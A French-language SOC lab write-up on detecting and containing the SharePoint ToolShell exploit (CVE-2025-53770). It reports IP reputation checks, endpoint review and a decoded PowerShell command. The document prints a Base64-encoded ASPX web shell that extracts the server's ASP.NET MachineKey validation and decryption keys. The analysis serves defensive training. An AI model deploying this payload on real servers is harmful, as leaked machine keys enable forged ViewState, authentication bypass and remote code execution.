Procédure détaillée de l'exploitation de la vulnérabilité zero-day CVE-2025-53770 (ToolShell) dans SharePoint, incluant l'analyse RCE, l'exfiltration de MachineKey, la compilation de la charge utile, le déploiement du web shell et les étapes de confinement de la réponse aux incidents.
Je me suis plongé dans un zero-day SharePoint appelé ToolShell (CVE-2025-53770) dans le laboratoire LetsDefend. J'ai simulé une attaque zero-day réelle où une requête POST malveillante a contourné l'authentification, exécuté PowerShell pour voler les clés MachineKeySection, compilé payload.exe, et déposé une web shell (spinstall0.aspx). J'ai tout enregistré, analysé le comportement, et contenu l'hôte. Ce README couvre les processus d'attaque, les étapes pour contrer l'attaque, et les leçons apprises.
Il s'agit d'une alerte critique et d'une activité suspecte qui a ciblé ToolPane.aspx de MS SharePoint avec une charge utile de grande taille et un Referer usurpé. Le contexte CVE est lié à CVE-2025-53770. Il s'agit d'une vulnérabilité critique d'exploitation de SharePoint via une requête POST spécialement conçue qui permettait à des attaquants non authentifiés. L'exploitation réussie a conduit à une exécution de code à distance (RCE) sur le serveur. J'ai traité cela comme actif, de haute urgence et j'ai supposé une possible compromission réussie jusqu'à preuve du contraire.
Microsoft SharePoint est une plateforme de collaboration d'entreprise et de gestion de documents — essentiellement un hub sécurisé et organisé pour les fichiers, les workflows et les applications web internes.
Un zero-day critique dans Microsoft SharePoint Server qui permet aux attaquants d'exécuter du code à distance sans authentification. Il abuse de la désérialisation non sécurisée et s'enchaîne souvent avec d'autres failles SharePoint (CVE-2025-49704, CVE-2025-49706) pour une prise de contrôle complète du système. Noté CVSS 9.8 (Critique) et activement exploité dans la nature.
J'ai analysé l'adresse IP de l'expéditeur (adresse IP source) avec VirusTotal
Adresse IP source : 107.191.58.76

De cela, je peux voir que 15/95 fournisseurs de sécurité ont signalé cette adresse IP comme malveillante, ce qui en dit déjà long sur l'IP.
Maintenant, je dois rechercher la localisation de l'IP. Cela a été fait à l'aide d'AbuseIPDB et comme montré ci-dessous, l'IP est connue pour le piratage, la force brute, l'attaque d'applications web, le scan de ports, l'empoisonnement DNS.
En tant qu'analyste SOC résolvant ce problème, l'une des étapes importantes à suivre est l'analyse du point de terminaison. J'ai recherché l'hôte sur la sécurité des points de terminaison avec le nom 'SharePoint01' et puisque l'IP est connue pour le piratage, pour une analyse plus approfondie.
après avoir localisé l'hôte, j'ai consulté l'historique du terminal pour vérifier la ligne de commande
PCVAIEltcG9ydCBOYW1lc3BhY2U9IlN5c3RlbS5EaWFnbm9zdGljcyIgJT4NCjwlQCBJbXBvcnQgTmFtZXNwYWNlPSJTeXN0ZW0uSU8iICU+DQo8c2NyaXB0IHJ1bmF0PSJzZXJ2ZXIiIGxhbmd1YWdlPSJjIyIgQ09ERVBBR0U9IjY1MDAxIj4NCiAgICBwdWJsaWMgdm9pZCBQYWdlX2xvYWQoKQ0KICAgIHsNCgkJdmFyIHN5ID0gU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHkuTG9hZCgiU3lzdGVtLldlYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EiKTsNCiAgICAgICAgdmFyIG1rdCA9IHN5LkdldFR5cGUoIlN5c3RlbS5XZWIuQ29uZmlndXJhdGlvbi5NYWNoaW5lS2V5U2VjdGlvbiIpOw0KICAgICAgICB2YXIgZ2FjID0gbWt0LkdldE1ldGhvZCgiR2V0QXBwbGljYXRpb25Db25maWciLCBTeXN0ZW0uUmVmbGVjdGlvbi5CaW5kaW5nRmxhZ3MuU3RhdGljIHwgU3lzdGVtLlJlZmxlY3Rpb24uQmluZGluZ0ZsYWdzLk5vblB1YmxpYyk7DQogICAgICAgIHZhciBjZyA9IChTeXN0ZW0uV2ViLkNvbmZpZ3VyYXRpb24uTWFjaGluZUtleVNlY3Rpb24pZ2FjLkludm9rZShudWxsLCBuZXcgb2JqZWN0WzBdKTsNCiAgICAgICAgUmVzcG9uc2UuV3JpdGUoY2cuVmFsaWRhdGlvbktleSsifCIrY2cuVmFsaWRhdGlvbisifCIrY2cuRGVjcnlwdGlvbktleSsifCIrY2cuRGVjcnlwdGlvbisifCIrY2cuQ29tcGF0aWJpbGl0eU1vZGUpOw0KICAgIH0NCjwvc2NyaXB0Pg==
En raison de la charge utile, j'ai procédé au décodeur Base64 pour décoder la commande comme montré ci-dessous
L'utilisateur a lancé powershell depuis le répertoire système “C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe” et avec des commandes encodées un script C# côté serveur ASP.NET.
La charge utile tente de lire et de divulguer la MachineKey ASP.NET pour l'hôte, un secret qui peut être utilisé pour forger des jetons ViewState/désérialisation et permettre le contournement d'authentification et l'exécution de code à distance. Cela correspond au modèle d'exploitation ToolShell (abus de MachineKey). Indicateurs de compromission (IoCs) clés dans la commande avec l'utilisation du décodage et encodage Base64.